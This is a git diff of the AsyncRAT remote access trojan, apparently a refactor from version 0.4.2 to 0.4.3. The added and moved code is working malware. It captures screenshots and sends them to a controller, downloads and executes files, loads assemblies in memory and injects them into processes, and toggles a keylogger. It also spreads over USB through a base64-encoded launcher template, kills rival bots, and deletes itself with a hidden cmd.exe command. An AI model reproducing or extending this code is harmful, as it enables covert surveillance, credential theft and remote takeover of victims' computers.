a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index b863b16..b51800f 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -11,7 +11,7 @@ using AsyncRAT_Sharp.MessagePack; namespace AsyncRAT_Sharp.Sockets { - class Clients + public class Clients { public Socket ClientSocket { get; set; } public ListViewItem LV { get; set; } @@ -23,7 +23,7 @@ namespace AsyncRAT_Sharp.Sockets private MemoryStream ClientMS { get; set; } public object SendSync { get; } = new object(); private object EndSendSync { get; } = new object(); - public int BytesRecevied { get; set; } + public long BytesRecevied { get; set; } public Clients(Socket socket) { @@ -69,11 +69,11 @@ namespace AsyncRAT_Sharp.Sockets { try { - ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.AES.Decrypt(ClientMS.ToArray()), this }); + ThreadPool.QueueUserWorkItem(Packet.Read, new object[] { Settings.AES.Decrypt(ClientMS.ToArray()), this }); } catch (CryptographicException) { - HandleLogs.Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); + new HandleLogs().Addmsg($"Client {ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} tried to connect with wrong password, IP blocked", Color.Red); Settings.Blocked.Add(ClientSocket.RemoteEndPoint.ToString().Split(':')[0]); Disconnected(); return; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index fc4aeb7..bf93c23 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -26,7 +26,7 @@ namespace AsyncRAT_Sharp.Sockets }; Server.Bind(ipEndPoint); Server.Listen(30); - HandleLogs.Addmsg($"Listenning {port}", Color.Green); + new HandleLogs().Addmsg($"Listenning {port}", Color.Green); Server.BeginAccept(EndAccept, null); } catch (Exception ex) @@ -76,7 +76,7 @@ namespace AsyncRAT_Sharp.Sockets if (count > 4) { Settings.Blocked.Add(socket.RemoteEndPoint.ToString().Split(':')[0]); - HandleLogs.Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); + new HandleLogs().Addmsg($"Client {socket.RemoteEndPoint.ToString().Split(':')[0]} tried to spam, IP blocked", Color.Red); foreach (Clients client in Settings.Online.ToList()) { if (client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0] == socket.RemoteEndPoint.ToString().Split(':')[0] && client.LV != null) diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 4f12e1d..bdeea1e 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -73,14 +73,16 @@ - + - - - - - - + + + + + + + + diff --git a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs index ed58441..a2b03be 100644 --- a/AsyncRAT-C#/Client/Handle Packet/FileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/FileManager.cs @@ -11,7 +11,7 @@ using System.Diagnostics; using System.Net.Sockets; namespace Client.Handle_Packet { - class FileManager + public class FileManager { public void GetDrivers() { diff --git a/AsyncRAT-C#/Client/Handle Packet/BotKiller.cs b/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs similarity index 97% rename from AsyncRAT-C#/Client/Handle Packet/BotKiller.cs rename to AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs index 3d7f78b..4a6fc9f 100644 --- a/AsyncRAT-C#/Client/Handle Packet/BotKiller.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs @@ -14,7 +14,7 @@ using Client.Sockets; namespace Client.Handle_Packet { - class BotKiller + public class HandleBotKiller { int count = 0; public void RunBotKiller() @@ -57,7 +57,7 @@ namespace Client.Handle_Packet return false; } - private static bool IsWindowVisible(string lHandle) + private bool IsWindowVisible(string lHandle) { return IsWindowVisible(lHandle); } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleGetScreenShot.cs b/AsyncRAT-C#/Client/Handle Packet/HandleGetScreenShot.cs new file mode 100644 index 0000000..87e9d49 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandleGetScreenShot.cs @@ -0,0 +1,33 @@ +using Client.MessagePack; +using Client.Sockets; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Linq; +using System.Text; +using System.Windows.Forms; + +namespace Client.Handle_Packet +{ + public class HandleGetScreenShot + { + public HandleGetScreenShot() + { + Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); + using (Graphics g = Graphics.FromImage(bmp)) + using (MemoryStream memoryStream = new MemoryStream()) + { + g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); + Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero); + thumb.Save(memoryStream, ImageFormat.Jpeg); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "thumbnails"; + msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray()); + ClientSocket.BeginSend(msgpack.Encode2Bytes()); + } + bmp.Dispose(); + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/LimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs similarity index 99% rename from AsyncRAT-C#/Client/Handle Packet/LimeLogger.cs rename to AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs index bef3206..dc2963e 100644 --- a/AsyncRAT-C#/Client/Handle Packet/LimeLogger.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs @@ -14,7 +14,7 @@ namespace Client.Handle_Packet // This program is distributed for educational purposes only. - class LimeLogger + public static class HandleLimeLogger { public static bool isON = false; public static void Run() diff --git a/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs similarity index 98% rename from AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs rename to AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs index 3f4b18b..48a3649 100644 --- a/AsyncRAT-C#/Client/Handle Packet/LimeUSB.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs @@ -10,7 +10,6 @@ using Microsoft.CSharp; using System.CodeDom.Compiler; using Client.MessagePack; using Client.Sockets; -using System.Threading; using System.Windows.Forms; // // │ Author : NYAN CAT @@ -22,7 +21,7 @@ using System.Windows.Forms; namespace Client.Handle_Packet { - class LimeUSB + public class HandleLimeUSB { public void Run() { @@ -163,10 +162,10 @@ namespace Client.Handle_Packet try { string source = Encoding.UTF8.GetString(Convert.FromBase64String("dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uRGlhZ25vc3RpY3M7CnVzaW5nIFN5c3RlbS5SZWZsZWN0aW9uOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpbYXNzZW1ibHk6IEFzc2VtYmx5VHJhZGVtYXJrKCIlTGltZSUiKV0KW2Fzc2VtYmx5OiBHdWlkKCIlR3VpZCUiKV0KCnN0YXRpYyBjbGFzcyBMaW1lVVNCTW9kdWxlCnsKICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBNYWluKCkKICAgIHsKICAgICAgICB0cnkKICAgICAgICB7CiAgICAgICAgICAgIFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLlN0YXJ0KEAiJUZpbGUlIik7CiAgICAgICAgICAgIFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLlN0YXJ0KEAiJVBheWxvYWQlIik7CiAgICAgICAgfQogICAgICAgIGNhdGNoIHsgfQogICAgfQp9")); + source = source.Replace("LimeUSBModule", Randomz(new Random().Next(6, 12))); source = source.Replace("%Payload%", Path.GetPathRoot(infectedFile) + spreadSettings.WorkDirectory + "\\" + spreadSettings.LimeUSBFile); source = source.Replace("%File%", infectedFile.Insert(3, spreadSettings.WorkDirectory + "\\")); source = source.Replace("%Lime%", spreadSettings.InfectedTrademark); - source = source.Replace("%LimeUSBModule%", Randomz(new Random().Next(6, 12))); source = source.Replace("%Guid%", Guid.NewGuid().ToString()); CompilerParameters cParams = new CompilerParameters(); diff --git a/AsyncRAT-C#/Client/Handle Packet/ProcessManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs similarity index 95% rename from AsyncRAT-C#/Client/Handle Packet/ProcessManager.cs rename to AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs index 6a45190..687df03 100644 --- a/AsyncRAT-C#/Client/Handle Packet/ProcessManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs @@ -11,9 +11,9 @@ using System.Text; namespace Client.Handle_Packet { - class ProcessManager + public class HandleProcessManager { - public static void ProcessKill(int ID) + public void ProcessKill(int ID) { foreach (var process in Process.GetProcesses()) { @@ -29,7 +29,7 @@ namespace Client.Handle_Packet ProcessList(); } - public static void ProcessList() + public void ProcessList() { StringBuilder sb = new StringBuilder(); var query = "SELECT ProcessId, Name, ExecutablePath FROM Win32_Process"; diff --git a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs similarity index 98% rename from AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs rename to AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs index c1efba1..c355ccd 100644 --- a/AsyncRAT-C#/Client/Handle Packet/RemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs @@ -13,7 +13,7 @@ using System; namespace Client.Handle_Packet { - class RemoteDesktop + public class HandleRemoteDesktop { public void CaptureAndSend() { diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs new file mode 100644 index 0000000..04d8846 --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandleSendTo.cs @@ -0,0 +1,56 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; +using System.Runtime.InteropServices; +using System.Threading; +using Client.MessagePack; + +namespace Client.Handle_Packet +{ + public class HandleSendTo + { + public void SendToDisk(MsgPack unpack_msgpack) + { + string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; + unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); + Process.Start(fullPath); + if (unpack_msgpack.ForcePathObject("Update").AsString == "true") + { + new HandleUninstall(); + } + } + + public void SendToMemory(MsgPack unpack_msgpack) + { + byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes(); + string injection = unpack_msgpack.ForcePathObject("Inject").AsString; + byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); + if (injection.Length == 0) + { + new Thread(delegate () + { + Assembly loader = Assembly.Load(buffer); + object[] parm = null; + if (loader.EntryPoint.GetParameters().Length > 0) + { + parm = new object[] { new string[] { null } }; + } + loader.EntryPoint.Invoke(null, parm); + }) + { IsBackground = true }.Start(); + + } + else + { + new Thread(delegate () + { + Assembly loader = Assembly.Load(plugin); + MethodInfo meth = loader.GetType("Plugin.Program").GetMethod("Run"); + meth.Invoke(null, new object[] { buffer, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), injection) }); + }) + { IsBackground = true }.Start(); + } + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs new file mode 100644 index 0000000..2157f7b --- /dev/null +++ b/AsyncRAT-C#/Client/Handle Packet/HandleUninstall.cs @@ -0,0 +1,44 @@ +using Client.Helper; +using Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; + +namespace Client.Handle_Packet +{ + public class HandleUninstall + { + public HandleUninstall() + { + if (Convert.ToBoolean(Settings.Install)) + { + try + { + Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").DeleteValue(Path.GetFileName(Settings.ClientFullPath)); + } + catch { } + } + ProcessStartInfo Del = null; + try + { + Del = new ProcessStartInfo() + { + Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true, + FileName = "cmd.exe" + }; + } + catch { } + finally + { + Methods.CloseMutex(); + Process.Start(Del); + Environment.Exit(0); + } + } + } +} diff --git a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs similarity index 58% rename from AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs rename to AsyncRAT-C#/Client/Handle Packet/Packet.cs index 4dd7bf1..9a278e2 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -1,11 +1,7 @@ -using Client.Helper; -using Client.MessagePack; +using Client.MessagePack; using Client.Sockets; -using Microsoft.Win32; using System; using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; using System.IO; using System.Net.Sockets; using System.Threading; @@ -13,7 +9,7 @@ using System.Windows.Forms; namespace Client.Handle_Packet { - class HandlePacket + public static class Packet { public static void Read(object data) { @@ -38,40 +34,21 @@ namespace Client.Handle_Packet case "thumbnails": { - GetScreenShot(); + new HandleGetScreenShot(); } break; case "sendFile": { Received(); - string fullPath = Path.GetTempFileName() + unpack_msgpack.ForcePathObject("Extension").AsString; - unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); - Process.Start(fullPath); - if (unpack_msgpack.ForcePathObject("Update").AsString == "true") - { - Uninstall(); - } + new HandleSendTo().SendToDisk(unpack_msgpack); } break; case "sendMemory": { Received(); - byte[] buffer = unpack_msgpack.ForcePathObject("File").GetAsBytes(); - string injection = unpack_msgpack.ForcePathObject("Inject").AsString; - byte[] plugin = unpack_msgpack.ForcePathObject("Plugin").GetAsBytes(); - object[] parameters = new object[] { buffer, injection, plugin }; - Thread thread = null; - if (injection.Length == 0) - { - thread = new Thread(new ParameterizedThreadStart(SendToMemory.Reflection)); - } - else - { - thread = new Thread(new ParameterizedThreadStart(SendToMemory.RunPE)); - } - thread.Start(parameters); + new HandleSendTo().SendToMemory(unpack_msgpack); } break; @@ -102,30 +79,30 @@ namespace Client.Handle_Packet case "uninstall": { - Uninstall(); + new HandleUninstall(); } break; case "usbSpread": { - LimeUSB limeUSB = new LimeUSB(); + HandleLimeUSB limeUSB = new HandleLimeUSB(); limeUSB.Run(); + break; } - break; case "remoteDesktop": { - switch (unpack_msgpack.ForcePathObject("Option").AsString) - { - case "true": - { - RemoteDesktop remoteDesktop = new RemoteDesktop(); + // switch (unpack_msgpack.ForcePathObject("Option").AsString) + //{ + //case "true": + // { + HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop(); remoteDesktop.CaptureAndSend(); - } - break; + break; + // } } - } - break; + // break; + // } case "processManager": { @@ -133,15 +110,15 @@ namespace Client.Handle_Packet { case "List": { - ProcessManager.ProcessList(); + new HandleProcessManager().ProcessList(); + break; } - break; case "Kill": { - ProcessManager.ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); + new HandleProcessManager().ProcessKill(Convert.ToInt32(unpack_msgpack.ForcePathObject("ID").AsString)); + break; } - break; } } break; @@ -154,39 +131,37 @@ namespace Client.Handle_Packet { FileManager fileManager = new FileManager(); fileManager.GetDrivers(); + break; } - break; case "getPath": { FileManager fileManager = new FileManager(); fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString); + break; } - break; case "uploadFile": { string fullPath = unpack_msgpack.ForcePathObject("Name").AsString; unpack_msgpack.ForcePathObject("File").SaveBytesToFile(fullPath); + break; } - break; case "deleteFile": { string fullPath = unpack_msgpack.ForcePathObject("File").AsString; File.Delete(fullPath); + break; } - break; case "execute": { string fullPath = unpack_msgpack.ForcePathObject("File").AsString; Process.Start(fullPath); + break; } - break; } - - } break; @@ -196,16 +171,15 @@ namespace Client.Handle_Packet string file = unpack_msgpack.ForcePathObject("File").AsString; string dwid = unpack_msgpack.ForcePathObject("DWID").AsString; fileManager.DownnloadFile(file, dwid); - + break; } - break; case "botKiller": { - BotKiller botKiller = new BotKiller(); + HandleBotKiller botKiller = new HandleBotKiller(); botKiller.RunBotKiller(); + break; } - break; case "keyLogger": { @@ -215,16 +189,16 @@ namespace Client.Handle_Packet { new Thread(() => { - LimeLogger.isON = true; - LimeLogger.Run(); + HandleLimeLogger.isON = true; + HandleLimeLogger.Run(); }).Start(); } else { - LimeLogger.isON = false; + HandleLimeLogger.isON = false; } + break; } - break; case "visitURL": { @@ -233,8 +207,8 @@ namespace Client.Handle_Packet { Process.Start(url); } + break; } - break; } } catch { } @@ -247,53 +221,5 @@ namespace Client.Handle_Packet ClientSocket.BeginSend(msgpack.Encode2Bytes()); } - - private static void Uninstall() - { - if (Convert.ToBoolean(Settings.Install)) - { - try - { - Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").DeleteValue(Path.GetFileName(Settings.ClientFullPath)); - } - catch { } - } - ProcessStartInfo Del = null; - try - { - Del = new ProcessStartInfo() - { - Arguments = "/C choice /C Y /N /D Y /T 1 & Del \"" + Process.GetCurrentProcess().MainModule.FileName + "\"", - WindowStyle = ProcessWindowStyle.Hidden, - CreateNoWindow = true, - FileName = "cmd.exe" - }; - } - catch { } - finally - { - Methods.CloseMutex(); - Process.Start(Del); - Environment.Exit(0); - } - } - - private static void GetScreenShot() - { - Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height); - using (Graphics g = Graphics.FromImage(bmp)) - using (MemoryStream memoryStream = new MemoryStream()) - { - g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero); - thumb.Save(memoryStream, ImageFormat.Jpeg); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "thumbnails"; - msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray()); - ClientSocket.BeginSend(msgpack.Encode2Bytes()); - } - bmp.Dispose(); - } - } } diff --git a/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs b/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs deleted file mode 100644 index c3d6553..0000000 --- a/AsyncRAT-C#/Client/Handle Packet/SendToMemory.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; - -namespace Client.Handle_Packet -{ - class SendToMemory - { - public static void Reflection(object obj) - { - object[] parameters = (object[])obj; - byte[] buffer = (byte[])parameters[0]; - Assembly loader = Assembly.Load(buffer); - object[] parm = null; - if (loader.EntryPoint.GetParameters().Length > 0) - { - parm = new object[] { new string[] { null } }; - } - loader.EntryPoint.Invoke(null, parm); - } - - public static void RunPE(object obj) - { - try - { - object[] parameters = (object[])obj; - byte[] file = (byte[])parameters[0]; - string injection = Convert.ToString(parameters[1]); - byte[] plugin = (byte[])parameters[2]; - Assembly loader = Assembly.Load(plugin); - loader.GetType("Plugin.Program").GetMethod("Run").Invoke(null, new object[] { file, Path.Combine(RuntimeEnvironment.GetRuntimeDirectory(), injection) }); - } - catch { } - } - } -} diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 61e31fe..d212167 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -8,7 +8,7 @@ namespace Client { public static readonly string Ports = "6606"; public static readonly string Host = "127.0.0.1"; - public static readonly string Version = "AsyncRAT 0.4.2"; + public static readonly string Version = "AsyncRAT 0.4.3"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index fce8090..23c6779 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -120,7 +120,7 @@ namespace Client.Sockets MS.Write(Buffer, 0, recevied); if (MS.Length == Buffersize) { - ThreadPool.QueueUserWorkItem(HandlePacket.Read, Settings.aes256.Decrypt(MS.ToArray())); + ThreadPool.QueueUserWorkItem(Packet.Read, Settings.aes256.Decrypt(MS.ToArray())); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream();